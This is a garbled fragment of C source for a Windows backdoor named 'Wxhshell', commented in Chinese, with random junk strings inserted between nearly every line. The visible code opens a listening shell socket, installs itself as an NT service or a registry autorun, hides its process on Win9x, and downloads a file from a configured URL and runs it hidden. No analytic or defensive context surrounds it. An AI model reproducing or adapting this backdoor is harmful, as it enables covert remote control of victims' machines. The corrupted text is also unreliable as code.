>z. gLb`pCo/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); imVo<Je7z( if(hProcess==NULL) return 0; UI0(=>L ;RH;OE,A HMODULE hMod; 2my_ ;!6T[ char procName[255]; 8mCxn@yV unsigned long cbNeeded; W1WYej" fPU`/6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +*\u :n {k(g]#pP CloseHandle(hProcess); hMa]B*o/- y>S.?H:P if(strstr(procName,"services")) return 1; // 以服务启动 W}nlRbN? 50"pbzW return 0; // 注册表启动 dSLU>E3g } <'}YyU= K>
%Tq // 主模块 adlV!k7RG int StartWxhshell(LPSTR lpCmdLine) r^2p*nr} { I"xo*} SOCKET wsl; BIH-"vTy BOOL val=TRUE; O6@j &*jS int port=0; ,1hxw<sNR struct sockaddr_in door; f@6QvkIa J f@H/luW if(wscfg.ws_autoins) Install(); n#mA/H;wV X
enE^e+9 port=atoi(lpCmdLine); .Q<>-3\K "x%Htq@ if(port<=0) port=wscfg.ws_port; nz%DM<0$ %J#YM'g WSADATA data; G3C~x.(f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "RedK '7g
3Nl <p"= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p$O.>
[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3N8t`N door.sin_family = AF_INET; "WlZ)wyF% door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6d:zb;Iz door.sin_port = htons(port); <<UB ^v m 6o^,@~:R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `34zkPB?? closesocket(wsl); 5sdn[Tt## return 1; 4"GR]
X } W,D4.w$@' C^s^D: if(listen(wsl,2) == INVALID_SOCKET) { {baq+ closesocket(wsl); yZAS# ko}} return 1; y+Ra4G#/} } z Eq GD2" Wxhshell(wsl); 57aXQ8u{ WSACleanup(); K)6rY(x
> :X"?kK0 V return 0; E~,F vx\r!] } ih)zG $Y;U[_l# // 以NT服务方式启动 v/@^Q1G/: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?yZ+D z\ { j 7fL7:,T DWORD status = 0; $yN{-T" DWORD specificError = 0xfffffff; toLV4BtIG #||}R[~P" serviceStatus.dwServiceType = SERVICE_WIN32; :1 ^LsLr5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ><RpEnWZ< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G, 44va serviceStatus.dwWin32ExitCode = 0; p5Z"|\ serviceStatus.dwServiceSpecificExitCode = 0; ~3^
8>d/ serviceStatus.dwCheckPoint = 0; YD<:,|H serviceStatus.dwWaitHint = 0; Moy <@+ svsq g{9z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -#7'r<I9@ if (hServiceStatusHandle==0) return; ,NOsFO-`< ~Io7] status = GetLastError(); j_/>A=OD if (status!=NO_ERROR) *lYVY)L { -^K"ZP1 serviceStatus.dwCurrentState = SERVICE_STOPPED; ^"2i serviceStatus.dwCheckPoint = 0; ~Uu4= serviceStatus.dwWaitHint = 0; e%@'5k\SK serviceStatus.dwWin32ExitCode = status; 0\H\lKcK serviceStatus.dwServiceSpecificExitCode = specificError; ;m0~L=w SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Hn6b$Vy8 return; :uP,f<=)K } kh!FR u h }bs+-K serviceStatus.dwCurrentState = SERVICE_RUNNING; YA''2Ii serviceStatus.dwCheckPoint = 0; Az9?Ra;U serviceStatus.dwWaitHint = 0; Gp1?iX?ml if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1!ii;s^e } R"4Vtww j@=%_^:i // 处理NT服务事件,比如:启动、停止 R}'bP VOID WINAPI NTServiceHandler(DWORD fdwControl) R(!s { UXeN 8 switch(fdwControl) [\'%?BH(^ { B%"
d~5Y case SERVICE_CONTROL_STOP: $}RJ,%~'x serviceStatus.dwWin32ExitCode = 0; bG 7O serviceStatus.dwCurrentState = SERVICE_STOPPED; cq5jP Z} serviceStatus.dwCheckPoint = 0; 1G"z<v
B serviceStatus.dwWaitHint = 0; +:8fC$vVfC { -mAUo;O SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q8C_9r/:N> } WM
Fb4SUR return; C`K?7v3$m case SERVICE_CONTROL_PAUSE: nv GF2(;l serviceStatus.dwCurrentState = SERVICE_PAUSED; ]}*R| 1 break; IW>T}@
| case SERVICE_CONTROL_CONTINUE: ;t'5},(FP serviceStatus.dwCurrentState = SERVICE_RUNNING; , qA(\[ break; ^.1)};i case SERVICE_CONTROL_INTERROGATE: ={_C&57N1 break; !\"EFVH }; qUh2hz: SetServiceStatus(hServiceStatusHandle, &serviceStatus); -jW.TT h] } MPCBT!o4Z @"hb) 8ng // 标准应用程序主函数 %9w::hav int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C^3 <={ { O#b6mKPt;t O|\J}rm' // 获取操作系统版本 ^2+yHw OsIsNt=GetOsVer(); $()5VMb GetModuleFileName(NULL,ExeFile,MAX_PATH); s2teym,uG fo5iJz"Z // 从命令行安装 hq%?=2'9? if(strpbrk(lpCmdLine,"iI")) Install(); %+f>2U4I >,TUZ // 下载执行文件 V:qSy#e if(wscfg.ws_downexe) { ,3?Q(=j if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S\4tzz @ WinExec(wscfg.ws_filenam,SW_HIDE); !i{aMxUP } Z LB4m` OPwtV9% if(!OsIsNt) { .}^g!jm~h // 如果时win9x,隐藏进程并且设置为注册表启动 ao%NK<Lt HideProc(); &wie] StartWxhshell(lpCmdLine); ZU85P0 } V}bjK8$$ else 4\y/'`xm)6 if(StartFromService()) 2w59^"<, // 以服务方式启动 mlixIW2 StartServiceCtrlDispatcher(DispatchTable); ?a8^1: else <d,b '<z
s // 普通方式启动 LwrUQ) StartWxhshell(lpCmdLine); 0":ib0= T29Dt return 0; YX=a#%vrl }
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